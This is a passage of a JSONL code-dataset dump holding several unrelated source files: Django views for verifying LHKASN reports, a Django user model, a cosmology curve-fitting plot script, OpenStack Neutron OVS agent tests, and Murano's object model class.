Add a y-label to the axes.\n    ax.set_title(\"Moves per game\")  # Add a title to the axes.\n    ax.grid()\n    ax.legend()\n    plt.show()\n\n\nif __name__ == '__main__':\n    main()\n","sub_path":"pstat.py","file_name":"pstat.py","file_ext":"py","file_size_in_byte":1915,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"197278897","text":"from django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.contrib.auth.mixins import LoginRequiredMixin, UserPassesTestMixin\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.template.defaultfilters import date\nfrom django.urls import reverse\nfrom django.views.generic import TemplateView, UpdateView\n\nfrom _main.settings import TAHUN_PELAPORAN\nfrom _main.utils import HxMixin, DatatablesMixin\nfrom akun.models import Pegawai\nfrom ..forms import VerifikatorForm\nfrom ..models import Pelaporan\n\n\ndef check_role(user):\n    if user.is_admin_kementerian or user.is_verifikator:\n        return True\n    return False\n\n\n@login_required\n@user_passes_test(check_role)\ndef tunggu_verifikasi_data(req):\n    lhkasn_ditangani = Pegawai.lhkasn_objects.filter(pelaporan__no_pelaporan__endswith=TAHUN_PELAPORAN,\n                                                     pelaporan__isactive=True,\n                                                     pelaporan__verified_by=req.user.user_id).count()\n    max_lhkasn = req.session.get('max_lhkasn', 0)\n    pegawai_revisi = Pegawai.lhkasn_objects.prefetch_related('pelaporan_set')\\\n        .filter(pelaporan__no_pelaporan__endswith=TAHUN_PELAPORAN, pelaporan__isactive=True,\n                pelaporan__status=Pelaporan.Status.MENUNGGU, pelaporan__verified_by=req.user.user_id)\n    jml_revisi = pegawai_revisi.count()\n    pegawai_baru = None\n    max_tampil = 10\n\n    if jml_revisi >= max_tampil:\n        pegawai_revisi = pegawai_revisi[:max_tampil]\n    else:\n        kurang = 0\n        if lhkasn_ditangani <= max_lhkasn:\n            kurang = max_lhkasn - lhkasn_ditangani\n\n        pegawai_baru = Pegawai.lhkasn_objects.prefetch_related('pelaporan_set')\\\n            .filter(pelaporan__no_pelaporan__endswith=TAHUN_PELAPORAN, pelaporan__isactive=True,\n                    pelaporan__status=Pelaporan.Status.MENUNGGU, pelaporan__verified_by=0).order_by('?')\n        if jml_revisi + kurang >= max_tampil:\n            pegawai_baru = pegawai_baru[:max_tampil - jml_revisi]\n        else:\n            pegawai_baru = pegawai_baru[:kurang]\n\n    return render(req, 'lhkasn/verifikasi/verifikasi_menunggu_data.html', {'pegawai_revisi': pegawai_revisi,\n                                                                           'pegawai_baru': pegawai_baru, })\n\n\nclass TungguVerifikasiView(LoginRequiredMixin, TemplateView):\n    template_name = 'lhkasn/verifikasi/verifikasi_menunggu.html'\n    extra_context = {\n        'menungguVerifikasiMenu': True,\n    }\n\n    def dispatch(self, request, *args, **kwargs):\n        lhkasn_pegawai = Pegawai.lhkasn_objects.filter(pelaporan__no_pelaporan__endswith=TAHUN_PELAPORAN,\n                                                       pelaporan__isactive=True,\n                                                       pelaporan__status__gte=Pelaporan.Status.MENUNGGU).count()\n        jumlah_verifikator = Pegawai.objects.filter(role=Pegawai.Peran.VERIFIKATOR).count()\n        sisa_bagi = lhkasn_pegawai % jumlah_verifikator\n        if sisa_bagi != 0:\n            lhkasn_pegawai += (jumlah_verifikator - sisa_bagi)\n        request.session['lhkasn_pegawai'] = lhkasn_pegawai\n        request.session['jumlah_verifikator'] = jumlah_verifikator\n        request.session['max_lhkasn'] = lhkasn_pegawai / jumlah_verifikator\n\n        return super().dispatch(request, *args, **kwargs)\n\n\nclass LhkasnDisetujuiView(LoginRequiredMixin, UserPassesTestMixin, DatatablesMixin, TemplateView):\n    template_name = 'lhkasn/verifikasi/verifikasi_setuju.html'\n    extra_context = {\n        'verifikasiDisetujuiMenu': True,\n        'title': 'Verifikasi LHKASN',\n        'header': 'Laporan LHKASN Yang Disetujui',\n    }\n    queryset = Pegawai.objects.filter(pelaporan__no_pelaporan__iendswith=TAHUN_PELAPORAN, pelaporan__isactive=True,\n                                      pelaporan__status=Pelaporan.Status.DITERIMA).order_by('-pelaporan__verified')\n\n    def test_func(self):\n        return check_role(self.request.user)\n\n    def get_fetch_data(self):\n        queryset, total_record, filtered_record = self.get_pegawai_datatables_param(request=self.request,\n                                                                                    pegawai_queryset=self.queryset)\n        data = list()\n        for pegawai in queryset:\n            sub_data = list()\n            pelaporan = pegawai.get_lhkasn()\n\n            kolom_nama = f'{pegawai.nama}<br>' \\\n                         f'NIP {pegawai.nip}'\n            kolom_tanggal_lapor = f'{date(pelaporan.tanggal_submit, \"d F Y\")}<br>' \\\n                                  f'Pelaporan ke-{pelaporan.pelaporan_ke}'\n\n            kolom_status = f'<strong>{pelaporan.get_status_display()}</strong><br>' \\\n                           f'<span style=\"color: #{pelaporan.get_status(\"facol\")}; \">' \\\n                           f'<span class=\"fa fa-check\"></span> {pelaporan.get_verifikator()} ' \\\n                           f'({date(pelaporan.verified, \"d M Y\")} - {date(pelaporan.verified, \"H:i\")})' \\\n                           f'</span>'\n\n            cetak_url = reverse('lhkasnApp:cetakBuktiLhkasnUrl', kwargs={'pelaporan_id': pelaporan.id_pelaporan})\n            kolom_aksi = f'<a href=\"{cetak_url}\" class=\"btn btn-sm btn-success\" role=\"button\" target=\"_blank\">' \\\n                         f'<span class=\"fa fa-print\"></span> Cetak Bukti Lapor</a>'\n            sub_data.append(kolom_nama)\n            sub_data.append(kolom_tanggal_lapor)\n            sub_data.append(kolom_status)\n            sub_data.append(kolom_aksi)\n            data.append(sub_data)\n\n        data_output = {\n            'recordsTotal': total_record,\n            'recordsFiltered': filtered_record,\n            'data': data\n        }\n\n        return JsonResponse(data=data_output)\n\n\nclass LhkasnDitolakView(LoginRequiredMixin, UserPassesTestMixin, DatatablesMixin, TemplateView):\n    template_name = 'lhkasn/verifikasi/verifikasi_ditolak.html'\n    extra_context = {\n        'verifikasiDitolakMenu': True,\n        'title': 'Verifikasi LHKASN',\n        'header': 'Laporan LHKASN Yang Ditolak',\n    }\n    queryset = Pegawai.objects.filter(pelaporan__no_pelaporan__iendswith=TAHUN_PELAPORAN, pelaporan__isactive=True,\n                                      pelaporan__status=Pelaporan.Status.REVISI).order_by('-pelaporan__verified')\n\n    def test_func(self):\n        return check_role(self.request.user)\n\n    def get_fetch_data(self):\n        queryset, total_record, filtered_record = self.get_pegawai_datatables_param(request=self.request,\n                                                                                    pegawai_queryset=self.queryset)\n        data = list()\n        for pegawai in queryset:\n            sub_data = list()\n            pelaporan = pegawai.get_lhkasn()\n\n            kolom_nama = f'{pegawai.nama}<br>' \\\n                         f'NIP {pegawai.nip}'\n            kolom_tanggal_lapor = f'{date(pelaporan.tanggal_submit, \"d F Y\")}<br>' \\\n                                  f'Pelaporan ke-{pelaporan.pelaporan_ke}'\n\n            kolom_status = f'<strong>{pelaporan.get_status_display()}</strong><br>' \\\n                           f'<span style=\"color: #{pelaporan.get_status(\"facol\")}; \">' \\\n                           f'<span class=\"fa fa-{pelaporan.get_status(\"faicon\")}\"></span> {pelaporan.get_verifikator()} ' \\\n                           f'({date(pelaporan.verified, \"d M Y\")} - {date(pelaporan.verified, \"H:i\")})' \\\n                           f'</span>'\n            kolom_alasan = f'{pelaporan.remarks}'\n            sub_data.append(kolom_nama)\n            sub_data.append(kolom_tanggal_lapor)\n            sub_data.append(kolom_status)\n            sub_data.append(kolom_alasan)\n            data.append(sub_data)\n\n        data_output = {\n            'recordsTotal': total_record,\n            'recordsFiltered': filtered_record,\n            'data': data\n        }\n\n        return JsonResponse(data=data_output)\n\n\nclass VerifikasiLhkasnView(LoginRequiredMixin, UserPassesTestMixin, HxMixin, UpdateView):\n    model = Pelaporan\n    form_class = VerifikatorForm\n    hx_template = 'lhkasn/verifikasi/form_verifikasi.html'\n    pk_url_kwarg = 'pelaporan_id'\n    success_url = 'sukses/'\n\n    def test_func(self):\n        return check_role(self.request.user)\n\n    def get_form_kwargs(self):\n        kwargs = super().get_form_kwargs()\n        kwargs['user'] = self.request.user\n        return kwargs\n\n    def get_context_data(self, **kwargs):\n        cx = super().get_context_data(**kwargs)\n        cx['rekap'] = self.get_object().get_rekap_harta()\n        return cx\n\n    def form_valid(self, form):\n        super().form_valid(form=form)\n        return self.htmx_response()\n","sub_path":"simpanan_berharga_v2/lhkasn/views/verifikasi.py","file_name":"verifikasi.py","file_ext":"py","file_size_in_byte":8688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"3351913","text":"from django.db import models\n\nimport datetime\n\n# Create your models here.\nclass Usersmanage(models.Manager):\n    def Create_user(self, name, pwd, email):\n        user = self.create(pickname=name, pwd=pwd, email=email)\n        user.save()\n\n\nclass Users(models.Model):\n    id = models.AutoField(primary_key=True)\n    pickname = models.CharField(max_length=20, verbose_name='昵称')\n    pwd = models.CharField(max_length=50, verbose_name='密码')\n    email = models.EmailField( verbose_name='邮箱')\n    adress = models.CharField(max_length=100, blank=True, verbose_name='地址')\n    phone = models.CharField(max_length=11,blank=True)\n    catime = models.DateTimeField(verbose_name='注册时间', auto_now_add=True)\n    header = models.ImageField(upload_to='static/upload/head', verbose_name='头像', default='static/upload/head/header.png')\n    usermanage = Usersmanage()\n\nclass Address(models.Model):\n    id = models.AutoField(primary_key=True)\n    adress = models.CharField(max_length=100, blank=True, verbose_name='地址')\n    adfor = models.ForeignKey(Users, on_delete=models.CASCADE)","sub_path":"iceberg/users/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"126522216","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport scipy\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport scipy.optimize as opt\nimport argparse\n\n\n# all the different models for fitting\n\ndef model1(x, a, b, c):\n    \"\"\"Logistic-like curve\"\"\"\n    return a/(1 + np.exp((x - b)/c))\n\ndef model2(x, a, b, c, d):\n    \"\"\"Hyperbolic tangent\"\"\"\n    return a*(np.tanh((x - b)/c)) + d\n\ndef model3(x, a, b):\n    \"\"\"Exponential\"\"\"\n    return a*np.exp(-x/b)\n\ndef model4(x, a, b):\n    \"\"\"Gaussian\"\"\"\n    return a*np.exp(-(x/b)**2)\n\nmodel = [model1, model2, model3, model4]\n\n\n# parsing the parameters\nparser = argparse.ArgumentParser()\n\nparser.add_argument('redshift1')\nparser.add_argument('redshift2')\n\nparser.add_argument(\n    '-N', '--ngrid',\n    help=\"number of gridpoints\",\n    type=int,\n    default=512\n)\n\nparser.add_argument(\n    '-L', '--boxsize',\n    help=\"box size in Mpc/h\",\n    type=float,\n    default=1024\n)\n\nparser.add_argument(\n    '-o', '--output',\n    help=\"file where to save output\",\n    type=str\n)\n\nargs = parser.parse_args()\n\nredshift1 = float(args.redshift1)\nredshift2 = float(args.redshift2)\n\n# a dict is probably easiest, implementation wise\npk = dict()\ncross = dict()\ncorrcoeff = dict()\n\n# dir for data\ndatadir = \"data/\"\n\n# simulation parameters (need to be put manually for now)\nngrid = args.ngrid\nLbox = args.boxsize\nredshifts = [60, 30, 10, 5, 3, 2, 1, 0.5, 0]\n\n# parsing everything, this is a huge mess\nfor i in range(0, 9, 1):\n    pk[\"%.1f\"%redshifts[i]] = pd.read_csv(\"%spk%d_phi.dat\" % (datadir, i), sep = \"\\s+\", header=None, names=[\"P(k)\"], index_col=0)\n    pk[\"%.1f\"%redshifts[i]].index.name = \"k\"\n    for j in range(0, i + 1, 1):\n        cross[\"%.1f, %.1f\"%(redshifts[i], redshifts[j])] = pd.read_csv(\"%spk%d_phi_%d.dat\" % (datadir, i, j), sep = \"\\s+\", header=None, names=[\"P(k)\"],index_col=0)\n        cross[\"%.1f, %.1f\"%(redshifts[i], redshifts[j])].index.name = \"k\"\n        corrcoeff[\"%.1f, %.1f\"%(redshifts[i], redshifts[j])] = cross[\"%.1f, %.1f\"%(redshifts[i], redshifts[j])]/np.sqrt(pk[\"%.1f\"%redshifts[i]]*pk[\"%.1f\"%redshifts[j]])\n        corrcoeff[\"%.1f, %.1f\"%(redshifts[j], redshifts[i])] = corrcoeff[\"%.1f, %.1f\"%(redshifts[i], redshifts[j])]\n\n\n# for now plotting for constant redshifts\nz = \"%.1f, %.1f\" % (redshift1, redshift2)\n\n# removing everything that's above knyq/2 so it doesn't mess with the interpolator\nknyq = np.pi * ngrid/Lbox\ncorrcoeff[z] = corrcoeff[z].loc[corrcoeff[z].index <=knyq/2.]\n\n# select which thing to fit\nx = np.array(corrcoeff[z].index).flatten()\ny = np.array(corrcoeff[z].values).flatten()\n\n# plotting the data first\nplt.ylim(ymin = 0, ymax = 1.2)\nplt.semilogx(corrcoeff[z], \"ko\",label = \"z1, z2 = %s\" % z, markersize=2)\n\nparams = list()\ncov = list()\n\n# curve fitting all the models\nfor i in range(len(model)):\n    temp_params, temp_cov = opt.curve_fit(model[i], x, y)\n    params.append(temp_params)\n    cov.append(temp_cov)\n\n# plotting all the models\nfor i in range(len(model)):\n    temp_y = model[i](x, *params[i])\n    plt.semilogx(x, temp_y, \"--\", label=\"%s\" %(model[i].__doc__))\n\nplt.grid()\nplt.legend()\nif (args.output):\n    plt.savefig(args.output, dpi=300)\nplt.show()\n","sub_path":"plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"477044624","text":"# Copyright 2012 VMware, Inc.\n# All Rights Reserved.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n#\n\nimport mock\n\nfrom neutron.plugins.ml2.drivers.openvswitch.agent \\\n    import ovs_agent_extension_api as ovs_ext_agt\n\nfrom neutron.tests.unit.plugins.ml2.drivers.openvswitch.agent \\\n    .openflow.native import ovs_bridge_test_base as native_ovs_bridge_test_base\n\nfrom neutron.tests.unit.plugins.ml2.drivers.openvswitch.agent \\\n    import ovs_test_base\n\n\nclass TestOVSAgentExtensionAPI(ovs_test_base.OVSOFCtlTestBase):\n\n    def setUp(self):\n        super(TestOVSAgentExtensionAPI, self).setUp()\n        self.br_int = self.br_int_cls(\"br-int\")\n        self.br_tun = self.br_tun_cls(\"br-tun\")\n\n    def _test_bridge(self, orig_bridge, new_bridge):\n        self.assertIsNotNone(new_bridge)\n        self.assertEqual(orig_bridge.br_name, new_bridge.br_name)\n        self.assertIn(new_bridge._default_cookie,\n                      orig_bridge.reserved_cookies)\n        self.assertNotEqual(orig_bridge._default_cookie,\n                            new_bridge._default_cookie)\n\n    def test_request_int_br(self):\n        agent_extension_api = ovs_ext_agt.OVSAgentExtensionAPI(self.br_int,\n                                                               self.br_tun)\n        new_int_br = agent_extension_api.request_int_br()\n        self._test_bridge(self.br_int, new_int_br)\n\n    def test_request_tun_br(self):\n        agent_extension_api = ovs_ext_agt.OVSAgentExtensionAPI(self.br_int,\n                                                               self.br_tun)\n        new_tun_br = agent_extension_api.request_tun_br()\n        self._test_bridge(self.br_tun, new_tun_br)\n\n    def test_request_tun_br_tunneling_disabled(self):\n        agent_extension_api = ovs_ext_agt.OVSAgentExtensionAPI(self.br_int,\n                                                               None)\n        self.assertIsNone(agent_extension_api.request_tun_br())\n\n\nclass TestOVSCookieBridgeOFCtl(ovs_test_base.OVSOFCtlTestBase):\n\n    def setUp(self):\n        super(TestOVSCookieBridgeOFCtl, self).setUp()\n        self.bridge = self.br_int_cls(\"br-int\")\n        mock.patch.object(self.bridge, \"run_ofctl\").start()\n\n        self.tested_bridge = ovs_ext_agt.OVSCookieBridge(self.bridge)\n\n        # mocking do_action_flows does not work, because this method is\n        # later wrapped by the cookie bridge code, and six.wraps apparently\n        # can't wrap a mock, so we mock deeper\n        self.mock_build_flow_expr_str = mock.patch(\n            'neutron.agent.common.ovs_lib._build_flow_expr_str',\n            return_value=\"\").start()\n\n    def test_cookie(self):\n        self.assertNotEqual(self.bridge._default_cookie,\n                            self.tested_bridge._default_cookie)\n\n    def test_reserved(self):\n        self.assertIn(self.tested_bridge._default_cookie,\n                      self.bridge.reserved_cookies)\n\n    def assert_mock_build_flow_expr_str_call(self, action, kwargs_list,\n                                             strict=False):\n        self.mock_build_flow_expr_str.assert_called_once_with(\n            kwargs_list[0],\n            action,\n            strict\n        )\n\n    def test_add_flow_without_cookie(self):\n        self.tested_bridge.add_flow(in_port=1, actions=\"output:2\")\n        self.assert_mock_build_flow_expr_str_call(\n            'add',\n            [{\"in_port\": 1,\n              \"actions\": \"output:2\",\n              \"cookie\": self.tested_bridge._default_cookie}]\n        )\n\n    def test_mod_flow_without_cookie(self):\n        self.tested_bridge.mod_flow(in_port=1, actions=\"output:2\")\n        self.assert_mock_build_flow_expr_str_call(\n            'mod',\n            [{\"in_port\": 1,\n              \"actions\": \"output:2\",\n              \"cookie\": self.tested_bridge._default_cookie}]\n        )\n\n    def test_del_flows_without_cookie(self):\n        self.tested_bridge.delete_flows(in_port=1)\n        self.assert_mock_build_flow_expr_str_call(\n            'del',\n            [{\"in_port\": 1,\n              \"cookie\": str(self.tested_bridge._default_cookie) + '/-1'}]\n        )\n\n    def test_add_flow_with_cookie(self):\n        self.tested_bridge.add_flow(cookie=1234,\n                                    in_port=1, actions=\"output:2\")\n        self.assert_mock_build_flow_expr_str_call(\n            'add',\n            [{\"in_port\": 1,\n              \"actions\": \"output:2\",\n              \"cookie\": 1234}]\n        )\n\n    def test_mod_flow_with_cookie(self):\n        self.tested_bridge.mod_flow(cookie='1234',\n                                    in_port=1, actions=\"output:2\")\n        self.assert_mock_build_flow_expr_str_call(\n            'mod',\n            [{\"in_port\": 1,\n              \"actions\": \"output:2\",\n              \"cookie\": \"1234\"}]\n        )\n\n    def test_del_flows_with_cookie(self):\n        self.tested_bridge.delete_flows(cookie=1234, in_port=1)\n        self.assert_mock_build_flow_expr_str_call(\n            'del',\n            [{\"in_port\": 1,\n              \"cookie\": \"1234/-1\"}]\n        )\n\n    def test_mod_flow_with_cookie_mask(self):\n        self.tested_bridge.mod_flow(cookie='1234/3',\n                                    in_port=1, actions=\"output:2\")\n        self.assert_mock_build_flow_expr_str_call(\n            'mod',\n            [{\"in_port\": 1,\n              \"actions\": \"output:2\",\n              \"cookie\": str(1234) + '/3'}]\n        )\n\n    def test_del_flows_with_cookie_mask(self):\n        self.tested_bridge.delete_flows(cookie='1234/7', in_port=1)\n        self.assert_mock_build_flow_expr_str_call(\n            'del',\n            [{\"in_port\": 1,\n              \"cookie\": str(1234) + '/7'}]\n        )\n\n    def test_install_drop(self):\n        self.tested_bridge.install_drop()\n        self.assert_mock_build_flow_expr_str_call(\n            'add',\n            [{\"table\": 0,\n              \"priority\": 0,\n              \"actions\": \"drop\",\n              \"cookie\": self.tested_bridge._default_cookie}]\n        )\n\n\nclass TestOVSCookieBridgeOSKen(native_ovs_bridge_test_base.OVSBridgeTestBase):\n\n    def setUp(self):\n        super(TestOVSCookieBridgeOSKen, self).setUp()\n        self.setup_bridge_mock('br-int', self.br_int_cls)\n        self.tested_bridge = ovs_ext_agt.OVSCookieBridge(self.br)\n\n    def test_cookie(self):\n        self.assertNotEqual(self.br._default_cookie,\n                            self.tested_bridge._default_cookie)\n\n    def test_reserved(self):\n        self.assertIn(self.tested_bridge._default_cookie,\n                      self.br.reserved_cookies)\n\n    def test_install_drop(self):\n        priority = 99\n        in_port = 666\n        self.tested_bridge.install_drop(priority=priority,\n                                        in_port=in_port)\n        (dp, ofp, ofpp) = self._get_dp()\n        expected = [\n            mock.call._send_msg(\n                ofpp.OFPFlowMod(\n                    dp,\n                    # this is the interesting part of the check:\n                    cookie=self.tested_bridge._default_cookie,\n                    instructions=[],\n                    match=ofpp.OFPMatch(in_port=in_port),\n                    priority=priority,\n                    table_id=0),\n                active_bundle=None),\n        ]\n        self.assertEqual(expected, self.mock.mock_calls)\n","sub_path":"neutron/tests/unit/plugins/ml2/drivers/openvswitch/agent/test_ovs_agent_extension_api.py","file_name":"test_ovs_agent_extension_api.py","file_ext":"py","file_size_in_byte":7758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"117876291","text":"#    Copyright (c) 2014 Mirantis, Inc.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\nimport six\n\nfrom murano.dsl import constants\nfrom murano.dsl import dsl\nfrom murano.dsl import dsl_types\nfrom murano.dsl import exceptions\nfrom murano.dsl import helpers\nfrom murano.dsl import yaql_integration\n\n\nclass MuranoObject(dsl_types.MuranoObject):\n    def __init__(self, murano_class, owner, object_id=None, name=None,\n                 known_classes=None, this=None):\n        self.__initialized = False\n        if known_classes is None:\n            known_classes = {}\n        self.__owner = owner.real_this if owner else None\n        self.__object_id = object_id or helpers.generate_id()\n        self.__type = murano_class\n        self.__properties = {}\n        self.__parents = {}\n        self.__this = this\n        self.__name = name\n        self.__extension = None\n        self.__config = murano_class.package.get_class_config(\n            murano_class.name)\n        if not isinstance(self.__config, dict):\n            self.__config = {}\n        known_classes[murano_class.name] = self\n        for parent_class in murano_class.parents:\n            name = parent_class.name\n            if name not in known_classes:\n                obj = MuranoObject(\n                    parent_class, owner,\n                    object_id=self.__object_id,\n                    known_classes=known_classes, this=self.real_this)\n\n                self.__parents[name] = known_classes[name] = obj\n            else:\n                self.__parents[name] = known_classes[name]\n\n    @property\n    def extension(self):\n        return self.__extension\n\n    @property\n    def name(self):\n        return self.real_this.__name\n\n    @extension.setter\n    def extension(self, value):\n        self.__extension = value\n\n    def initialize(self, context, params, used_names=None):\n        context = context.create_child_context()\n        context[constants.CTX_ALLOW_PROPERTY_WRITES] = True\n        object_store = helpers.get_object_store()\n        for property_name in self.__type.properties:\n            spec = self.__type.properties[property_name]\n            if spec.usage == dsl_types.PropertyUsages.Config:\n                if property_name in self.__config:\n                    property_value = self.__config[property_name]\n                else:\n                    property_value = dsl.NO_VALUE\n                self.set_property(property_name, property_value)\n\n        init = self.type.methods.get('.init')\n        used_names = used_names or set()\n        names = set(self.__type.properties)\n        if init:\n            names.update(six.iterkeys(init.arguments_scheme))\n        last_errors = len(names)\n        init_args = {}\n        while True:\n            errors = 0\n            for property_name in names:\n                if init and property_name in init.arguments_scheme:\n                    spec = init.arguments_scheme[property_name]\n                    is_init_arg = True\n                else:\n                    spec = self.__type.properties[property_name]\n                    is_init_arg = False\n\n                if property_name in used_names:\n                    continue\n                if spec.usage in (dsl_types.PropertyUsages.Config,\n                                  dsl_types.PropertyUsages.Static):\n                    used_names.add(property_name)\n                    continue\n                if spec.usage == dsl_types.PropertyUsages.Runtime:\n                    if not spec.has_default:\n                        used_names.add(property_name)\n                        continue\n                    property_value = dsl.NO_VALUE\n                else:\n                    property_value = params.get(property_name, dsl.NO_VALUE)\n                try:\n                    if is_init_arg:\n                        init_args[property_name] = property_value\n                    else:\n                        self.set_property(\n                            property_name, property_value, context)\n                    used_names.add(property_name)\n                except exceptions.UninitializedPropertyAccessError:\n                    errors += 1\n                except exceptions.ContractViolationException:\n                    if spec.usage != dsl_types.PropertyUsages.Runtime:\n                        raise\n            if not errors:\n                break\n            if errors >= last_errors:\n                raise exceptions.CircularExpressionDependenciesError()\n            last_errors = errors\n\n        if not object_store.initializing and self.__extension is None:\n            method = self.type.methods.get('__init__')\n            if method:\n                filtered_params = yaql_integration.filter_parameters(\n                    method.body, **params)\n                yield lambda: method.invoke(\n                    self, filtered_params[0], filtered_params[1], context)\n\n        for parent in self.__parents.values():\n            for t in parent.initialize(context, params, used_names):\n                yield t\n\n        def run_init():\n            if init:\n                context[constants.CTX_ARGUMENT_OWNER] = self.real_this\n                init.invoke(self.real_this, (), init_args,\n                            context.create_child_context())\n            self.__initialized = True\n\n        if (not object_store.initializing\n                and not helpers.is_objects_dry_run_mode()):\n            yield run_init\n\n    @property\n    def object_id(self):\n        return self.__object_id\n\n    @property\n    def type(self):\n        return self.__type\n\n    @property\n    def owner(self):\n        return self.__owner\n\n    @property\n    def real_this(self):\n        return self.__this or self\n\n    @property\n    def initialized(self):\n        return self.__initialized\n\n    def get_property(self, name, context=None):\n        start_type, derived = self.__type, False\n        caller_class = None if not context else helpers.get_type(context)\n        if caller_class is not None and caller_class.is_compatible(self):\n            start_type, derived = caller_class, True\n        if name in start_type.properties:\n            spec = start_type.properties[name]\n            if spec.usage == dsl_types.PropertyUsages.Static:\n                return spec.declaring_type.get_property(name, context)\n            else:\n                return self.cast(start_type)._get_property_value(name)\n        else:\n            try:\n                spec = start_type.find_single_property(name)\n                if spec.usage == dsl_types.PropertyUsages.Static:\n                    return spec.declaring_type.get_property(name, context)\n                else:\n                    return self.cast(spec.declaring_type).__properties[name]\n            except exceptions.NoPropertyFound:\n                if derived:\n                    return self.cast(caller_class)._get_property_value(name)\n                else:\n                    raise exceptions.PropertyReadError(name, start_type)\n\n    def _get_property_value(self, name):\n        try:\n            return self.__properties[name]\n        except KeyError:\n            raise exceptions.UninitializedPropertyAccessError(\n                name, self.__type)\n\n    def set_property(self, name, value, context=None):\n        if self is not self.real_this:\n            return self.real_this.set_property(name, value, context)\n        start_type, derived = self.__type, False\n        caller_class = None if not context else helpers.get_type(context)\n        if caller_class is not None and caller_class.is_compatible(self):\n            start_type, derived = caller_class, True\n        declared_properties = start_type.find_properties(\n            lambda p: p.name == name)\n        if context is None:\n            context = helpers.get_executor().create_object_context(self)\n        if len(declared_properties) > 0:\n            values_to_assign = []\n            classes_for_static_properties = []\n            first = True\n            for spec in self._list_properties(name):\n                if (caller_class is not None and not\n                        helpers.are_property_modifications_allowed(context) and\n                        (spec.usage not in dsl_types.PropertyUsages.Writable or\n                            not derived)):\n                    raise exceptions.NoWriteAccessError(name)\n\n                if spec.usage == dsl_types.PropertyUsages.Static:\n                    classes_for_static_properties.append(spec.declaring_type)\n                else:\n                    default = self.__config.get(name, spec.default)\n\n                    obj = self.cast(spec.declaring_type)\n                    res = spec.transform(\n                        value, self.real_this,\n                        self.real_this, context, default=default)\n                    if first:\n                        value = res\n                        first = False\n                    values_to_assign.append((obj, res))\n            for obj, value in values_to_assign:\n                obj.__properties[name] = value\n            for cls in classes_for_static_properties:\n                cls.set_property(name, value, context)\n        elif derived:\n            obj = self.cast(caller_class)\n            obj.__properties[name] = value\n        else:\n            raise exceptions.PropertyWriteError(name, start_type)\n\n    def cast(self, cls):\n        for p in helpers.traverse(self, lambda t: t.__parents.values()):\n            if p.type == cls:\n                return p\n        raise TypeError('Cannot cast {0} to {1}'.format(self.type, cls))\n\n    def _list_properties(self, name):\n        for p in helpers.traverse(self, lambda t: t.__parents.values()):\n            if name in p.type.properties:\n                yield p.type.properties[name]\n\n    def __repr__(self):\n        return '<{0}/{1} {2} ({3})>'.format(\n            self.type.name, self.type.version, self.object_id, id(self))\n\n    def to_dictionary(self, include_hidden=False,\n                      serialization_type=dsl_types.DumpTypes.Serializable,\n                      allow_refs=False):\n        context = helpers.get_context()\n        result = {}\n        for parent in self.__parents.values():\n            result.update(parent.to_dictionary(\n                include_hidden, dsl_types.DumpTypes.Serializable,\n                allow_refs))\n        skip_usages = (dsl_types.PropertyUsages.Runtime,\n                       dsl_types.PropertyUsages.Config)\n        for property_name in self.type.properties:\n            if property_name in self.__properties:\n                spec = self.type.properties[property_name]\n                if spec.usage not in skip_usages or include_hidden:\n                    prop_value = self.__properties[property_name]\n                    if isinstance(prop_value, MuranoObject) and allow_refs:\n                        meta = [m for m in spec.get_meta(context)\n                                if m.type.name == ('io.murano.metadata.'\n                                                   'engine.Serialize')]\n                        if meta and meta[0].get_property(\n                                'as', context) == 'reference':\n                            prop_value = prop_value.object_id\n                    result[property_name] = prop_value\n        if serialization_type == dsl_types.DumpTypes.Inline:\n            result.pop('?')\n            result = {\n                self.type: result,\n                'id': self.object_id,\n                'name': self.name\n            }\n        elif serialization_type == dsl_types.DumpTypes.Mixed:\n            result.update({'?': {\n                'type': self.type,\n                'id': self.object_id,\n                'name': self.name,\n            }})\n        else:\n            result.update({'?': {\n                'type': helpers.format_type_string(self.type),\n                'id': self.object_id,\n                'name': self.name\n            }})\n        return result\n","sub_path":"murano/dsl/murano_object.py","file_name":"murano_object.py","file_ext":"py","file_size_in_byte":12417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
